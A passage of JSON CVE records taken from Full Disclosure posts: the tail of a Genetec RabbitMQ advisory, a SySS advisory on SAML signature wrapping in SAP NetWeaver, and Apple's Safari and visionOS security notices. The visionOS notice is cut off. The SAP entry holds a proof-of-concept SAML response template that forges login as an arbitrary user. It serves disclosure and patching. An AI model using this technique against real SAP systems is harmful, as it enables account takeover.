Genetec Industrial IoT (IIoT) \u2014 6.x line (6.0.196.0 and later)\n* Genetec Airport Operational Manager (AOM) (1.6 and later)\n* Genetec Restricted Security Area (RSA) (5.2.1 and later)\n* Genetec Inter-System (IS) Gateway (1.2 and later)\n* Sipelia\u2122 (2.11 and later (RabbitMQ no longer used starting from v2.11)\n\nA hotfix is available for all affected products:\nSecurityUtility_CVE-2026-25112_RabbitMQ.exe\n\nhttps://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products\n\n\nWorkaround:\n-----------\nIf customers cannot apply the mitigation utility in a timely fashion, they should\nrestrict access to the following folder to admin users: ProgramData\\Genetec\\RabbitMQ\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF C. Hager, J. Kruchem / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:29:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/2"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/2"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://resources.genetec.com/security-advisories/vulnerability-affecting-rabbitmq-deployment-in-genetec-products"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.genetec.com/products/unified-security/security-center"
        },
        {
          "url": "https://www.linkedin.com/company/genetec/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/2"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260608-0 :: Privilege Escalation via Binary Planting in Genetec-provided RabbitMQ in multiple Genetec products",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-25112",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0350",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/2",
            "automated": true,
            "contentSha256": "9f7b22e016bf62cb04d3dcfaf83ba3e671e316eaef3bb7ab7b8f194a8baa08f1",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/2",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-08T10:19:13Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0350"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:29:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0350"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "NetWeaver ABAP / SAP_BASIS",
          "vendor": "Sap",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Moritz Bechler via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-004\nProduct:                   SAP NetWeaver ABAP / SAP_BASIS\nManufacturer:              SAP SE\nAffected Version(s):       SAP_BASIS 700 - 918\nTested Version(s):         7.93 Patch 300\nVulnerability Type:        CWE-347: Improper Verification of Cryptographic Signature\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2025-11-06\nSolution Date:             2026-02-10\nPublic Disclosure:         2026-06-08\nCVE Reference:             CVE-2026-23687\nAuthor of Advisory:        Moritz Bechler, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nSAP NetWeaver is the software stack powering SAP\u0027s business applications,\nincluding S4/HANA.\n\nThe manufacturer describes the product as follows (see [1]):\n\n\"SAP NetWeaver provides an open integration and application platform and\nfacilitates the implementation of the Enterprise Services Architecture.\nYou can standardize business processes across technological boundaries,\nintegrate applications for your employees as required, and access and edit\nsimple information easily and in a structured manner.\n[...]\nSAP NetWeaver is the basis for SAP solutions.\"\n\nSAML response validation in NetWeaver\u0027s SAML Service Provider is susceptible\nto XML Signature wrapping attacks, specifically through Signature/Object tags.\nThis allows an attacker to manipulate SAML assertion data returned by the\nidentity provider, therefore enabling logging in as an arbitrary user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nIn SAML authentication responses, the SAML assertion/user identity attributes\nare cryptographically signed by the identity provider using the XML Signature\n(XMLDSig) standard. In web single sign-on contexts, the SAML response is\npassed through the authenticating user\u0027s browser and therefore very susceptible\nto modification.\n\nWhen verifying a specially crafted SAML response, the SAMP service provider\nimplementation verifies the signature over one part of the XML document while\nusing information from another element to identify the authenticated user.\n\nProviding original, legitimate information from any valid SAML response in\nthe first part and the corresponding signature, along with a manipulated\nalternative part, authentication to the SAP system as an arbitrary\nSAML-enabled / mapped user is possible.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA typical (non-encrypted, assertion signing) SAML response will have a structure\nlike the following (various irrelevant elements are removed for brevity):\n\n\u003csamlp:Response\u003e\n\u003cAssertion ID=\"MyID\"\u003e\n  \u003cSignature\u003e\n    \u003cSignedInfo\u003e\n      \u003cReference URI=\"#MyID\"\u003e\n         \u003cDigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"; /\u003e\n         \u003cDigestValue\u003e[...]\u003c/DigestValue\u003e\n      \u003c/Reference\u003e\n    \u003c/SignedInfo\u003e\n    \u003cSignatureValue\u003e[...]\u003c/SignatureValue\u003e\n    \u003cKeyInfo\u003e\n       \u003cX509Data\u003e\u003cX509Certificate\u003e[...]\u003c/X509Certificate\u003e\u003c/X509Data\u003e\n    \u003c/KeyInfo\u003e\n  \u003c/Signature\u003e\n  \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n  \u003cAttributeStatement\u003e\n    \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n      \u003cAttributeValue\u003eoriginaluser@mydomain.example\u003c/AttributeValue\u003e\n    \u003c/Attribute\u003e\n    \u003c...\u003e\n  \u003c/AttributeStatement\u003e\n\u003c/Assertion\u003e\n\u003c/samlp:Response\u003e\n\nThe XML Signature specification is very flexible (read: complex), leaving\nsignificant room for ambiguities and implementation errors. Apart from\nreferencing the data to be signed/verified through the \u003cReference\u003e element,\nthe signed data can also be directly included in the \u003cSignature\u003e element\nthrough an \u003cObject\u003e tag (see [4]).\nDoing so is fully specified and conformant with the XML schema.\n\nTransforming the SAML response to use the \u003cObject\u003e syntax yields the following:\n\n\u003csamlp:Response\u003e\n\u003cAssertion ID=\"MyID\"\u003e\n  \u003cSignature\u003e\n    \u003cSignedInfo\u003e\n      \u003cReference URI=\"#MyID\"\u003e\n         \u003cDigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"; /\u003e\n         \u003cDigestValue\u003e[...]\u003c/DigestValue\u003e\n      \u003c/Reference\u003e\n    \u003c/SignedInfo\u003e\n    \u003cSignatureValue\u003e[...]\u003c/SignatureValue\u003e\n    \u003cKeyInfo\u003e\n       \u003cX509Data\u003e\u003cX509Certificate\u003e[...]\u003c/X509Certificate\u003e\u003c/X509Data\u003e\n    \u003c/KeyInfo\u003e\n    \u003cObject\u003e\n      \u003cAssertion ID=\"MyID\"\u003e\n        \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n        \u003cAttributeStatement\u003e\n          \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n            \u003cAttributeValue\u003eoriginaluser@mydomain.example\u003c/AttributeValue\u003e\n          \u003c/Attribute\u003e\n          \u003c...\u003e\n        \u003c/AttributeStatement\u003e\n      \u003c/Assertion\u003e\n    \u003c/Object\u003e\n  \u003c/Signature\u003e\n  \u003cSubject\u003e\u003c...\u003e\u003c/Subject\u003e\n  \u003cAttributeStatement\u003e\n    \u003cAttribute Name=\"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\";\u003e\n      \u003cAttributeValue\u003emyadmin@mydomain.example\u003c/AttributeValue\u003e\n    \u003c/Attribute\u003e\n    \u003c...\u003e\n  \u003c/AttributeStatement\u003e\n\u003c/Assertion\u003e\n\u003c/samlp:Response\u003e\n\nThis is a well-known and published attack vector against XML signatures.\nA graphical representation of this transformation is given in [5], also\nthe Burp SAML Raider extension provides a convenient way to execute the\nattack (XSW8).\n\nAs the signed elements have not changed, the XML Signature element is still\nvalid and can be verified. The XML Signature implementation used in NetWeaver\nnow calculates the hash value for verification of the signature over the\n\u003cObject\u003e element\u0027s contents.\n\nNow, the original copy of the data within the outer \u003cAssertion\u003e element\ncan be modified without invalidating the signature, and this is the\ninformation extracted and used by NetWeaver to determine the identity of\nthe authenticated SAP user.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nApply vendor patch: SAP note 3697567.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2025-10-23: Vulnerability discovered\n2025-11-06: Vulnerability reported to vendor\n2025-11-10: Vendor unable to reproduce the vulnerability, requesting\n            additional diagnostics\n2025-12-10: Reproduction with assistance of a generous customer\n2025-12-12: Diagnostics provided to vendor\n2025-12-18: Vendor responded to diagnostics with: \"system reaction is as\n            expected, no security issue\"\n2025-12-18: Disputed this assessment\n2026-01-08: Requested status from vendor\n2026-01-08: Vendor confirmed vulnerability\n2026-02-10: Vendor released patch\n2026-06-08: Public disclosure of vulnerability (delayed on vendor\u0027s request)\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] SAP NetWeaver documentation\n    https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm\n[2] SySS Security Advisory SYSS-2026-004\n    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt\n[3] SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] XML Signature Syntax and Processing Version 1.1\n    https://www.w3.org/TR/xmldsig-core1/#sec-Object\n[5] Burp SAML Raider extension documentation, tree representation of signature\n    wrapping techniques\n    https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Moritz Bechler of SySS GmbH.\n\nE-Mail: moritz.bechler () syss de\nPublic Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc\nKey ID: 0x768EFE2BB3E53DDA\nKey Fingerprint: 2C8F F101 9D77 BDE6 465E  CCC2 768E FE2B B3E5 3DDA\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS website.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:29:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/1"
        },
        {
          "url": "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name\""
        },
        {
          "url": "http://www.w3.org/2001/04/xmlenc#sha256\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://github.com/CompassSecurity/SAMLRaider/blob/master/src/main/resources/xswlist.png"
        },
        {
          "url": "https://help.sap.com/doc/saphelp_em900/9.0/en-US/ca/6fbd35746dbd2de10000009b38f889/frameset.htm"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc"
        },
        {
          "url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-004.txt"
        },
        {
          "url": "https://www.w3.org/TR/xmldsig-core1/#sec-Object"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-004] SAP NetWeaver SAML XML Signature Wrapping",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-23687",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0349",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/1",
            "automated": true,
            "contentSha256": "33de3a1df73ad7824fff3086de79442bc32d33c5171db97ebc23d02afe7353b4",
            "evidenceScore": 10,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-08T08:16:17Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0349"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:57Z",
    "dateUpdated": "2026-09-11T11:29:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0349"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Safari",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-05-13-2026-1 Safari 26.5\n\nSafari 26.5 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127121.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: A validation issue was addressed with improved logic.\nWebKit Bugzilla: 308906\nCVE-2026-43660: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 308675\nCVE-2026-28907: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: This issue was addressed with improved access restrictions.\nWebKit Bugzilla: 309698\nCVE-2026-28962: Luke Francis, Vaagn Vardanian, kwak kiyong / kakaogames,\nVitaly Simonovich, Adel Bouachraoui, greenbynox\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 307669\nCVE-2026-43658: Do Young Park\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308545\nCVE-2026-28905: Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang\nWebKit Bugzilla: 308707\nCVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI\nZero Day Initiative, Daniel Rhea\nWebKit Bugzilla: 309601\nCVE-2026-28904: Luka Ra\u010dki\nWebKit Bugzilla: 310880\nCVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day\nInitiative\nWebKit Bugzilla: 310303\nCVE-2026-28903: Mateusz Krzywicki (iVerify.io)\nWebKit Bugzilla: 309628\nCVE-2026-28953: Maher Azzouzi\nWebKit Bugzilla: 309861\nCVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,\nNathaniel Oh (@calysteon)\nWebKit Bugzilla: 310207\nCVE-2026-28901: Aisle offensive security research team (Joshua Rogers,\nLuigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,\nNgan Nguyen of Calif.io\nWebKit Bugzilla: 311631\nCVE-2026-28913: an anonymous researcher\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313939\nCVE-2026-28883: kwak kiyong / kakaogames\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved data protection.\nWebKit Bugzilla: 311228\nCVE-2026-28958: Cantina\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 310527\nCVE-2026-28917: Vitaly Simonovich\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 310234\nCVE-2026-28947: dr3dd\nWebKit Bugzilla: 310544\nCVE-2026-28946: Gia Bui (@yabeow) from Calif.io, dr3dd, w0wbox\nWebKit Bugzilla: 312180\nCVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: A malicious iframe may use another website\u2019s download settings\nDescription: The issue was addressed with improved UI handling.\nCVE-2026-28971: Khiem Tran\nWebKit Bugzilla: 311288\n\nWebRTC\nAvailable for: macOS Sonoma and macOS Sequoia\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 311131\nCVE-2026-28944: Kenneth Hsu of Palo Alto Networks, J\u00e9r\u00f4me DJOUDER, dr3dd\n\nAdditional recognition\n\nSafari\nWe would like to acknowledge sean mutuku for their assistance.\n\nSafari Push Notifications\nWe would like to acknowledge Robert Mindo for their assistance.\n\nWebKit\nWe would like to acknowledge Muhammad Zaid Ghifari (Mr.ZheeV),\nKalimantan Utara, Qadhafy Muhammad Tera, Vitaly Simonovich for their\nassistance.\n\nWebRTC\nWe would like to acknowledge Hyeonji Son (@jir4vv1t) of Demon Team for\ntheir assistance.\n\nSafari 26.5 may be obtained from the Mac App Store.\n\nAll information is also posted on the Apple Security Releases\nweb site: https://support.apple.com/100100.\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\n\niQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmoE52oACgkQ4Ifiq8DH\n7PV9tw/8C759AP/3NbUY9aGa7CjwMsAcI+/Y3Gt1NpNpOiTqBO9fVzFR5rzkPELk\nTGhNZ8fbGOMZji8i7tizeEbHzdZXaaVAvmBdFlhx8mmBtOMi1f8vFUQh+FeWiMDn\n1BhlLMF2VigV8FcoyFiYIkcfaNYFnd3/QpDzQ4M0W7Wb/+xztzvqkgcTxQrhsNkN\nWfxUkSzsZlcv6XOb/P9KqAr66Y1NRhVNeYFuEd3rcJYnL6nap4p0HlwgGmyU1Grs\nPW0hOBmWo2HSFWOxOQ2akMtkOqpCiSjcI3FPwlMAagyhjieaZXT5/HrfCs0SelI2\nkJVGpDiySNYxtKPbHYvDwjhVBRv2NaX6LFaNqVm20CaaFQGdF5sRGgTBJC7LtfCs\n1PKnLcv2ov+isEYPEUsWjIWemFEi8nO+p9NkpqY6rMoOWbGKsi2IELbC5QNjgKVA\n8/LEsQXW2Qf0RKQqlWk35Zv7ZWD2+ezjP/jNHYHvZJAN0IHR7HZOqfCm+V8uGndx\n8iQDQ3R38mcsIUOYIMjuVP1PfVnMqyFSAVFkE/qtyTUk5TqsO4vdsQ/MKoxNXoW+\nlHZT2q7ijQBGSteuax6XhH2r7hGxAXMols59EaJM3LZecDiqvOUloPC40hCItxEL\n0VO4Cjuoz0UR2n4oafNs+AldAyuNnhlWEpYhgKbzkuySObOQ6TE=\n=5v8r\n-----END PGP SIGNATURE-----\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:28:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127121"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-05-13-2026-1 Safari 26.5",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-28847",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28883",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28901",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28902",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28903",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28904",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28905",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28907",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28913",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28917",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28942",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28944",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28946",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28947",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28953",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28955",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28958",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28962",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28971",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43658",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43660",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0367",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/16",
            "automated": true,
            "contentSha256": "284818841648cbd52b15b9b3cc23c072a07f159b9afa1bd6427c0b564951697f",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-13T21:39:47Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0367"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:58Z",
    "dateUpdated": "2026-09-11T11:28:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0367"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Visionos",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-05-11-2026-11 visionOS 26.5\n\nvisionOS 26.5 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127120.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAccelerate\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to cause a denial-of-service\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking.\nCVE-2026-28991: Seiji Sakurai (@HeapSmasher)\n\nAccounts\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to bypass certain Privacy preferences\nDescription: A permissions issue was addressed with additional\nrestrictions.\nCVE-2026-28988: Asaf Cohen\n\nAPFS\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to cause unexpected system termination\nDescription: A buffer overflow was addressed with improved bounds\nchecking.\nCVE-2026-28959: Dave G.\n\nApp Intents\nAvailable for: Apple Vision Pro (all models)\nImpact: A malicious app may be able to break out of its sandbox\nDescription: A logic issue was addressed with improved restrictions.\nCVE-2026-28995: Vamshi Paili, Tony Gorez (@tonygo_) for Reverse Society\n\nAppleJPEG\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted image may lead to a\ndenial-of-service\nDescription: This is a vulnerability in open source code and Apple\nSoftware is among the affected projects. The CVE-ID was assigned by a\nthird party. Learn more about the issue and CVE-ID at cve.org.\nCVE-2026-1837\n\nAppleJPEG\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted media file may lead to\nunexpected app termination or 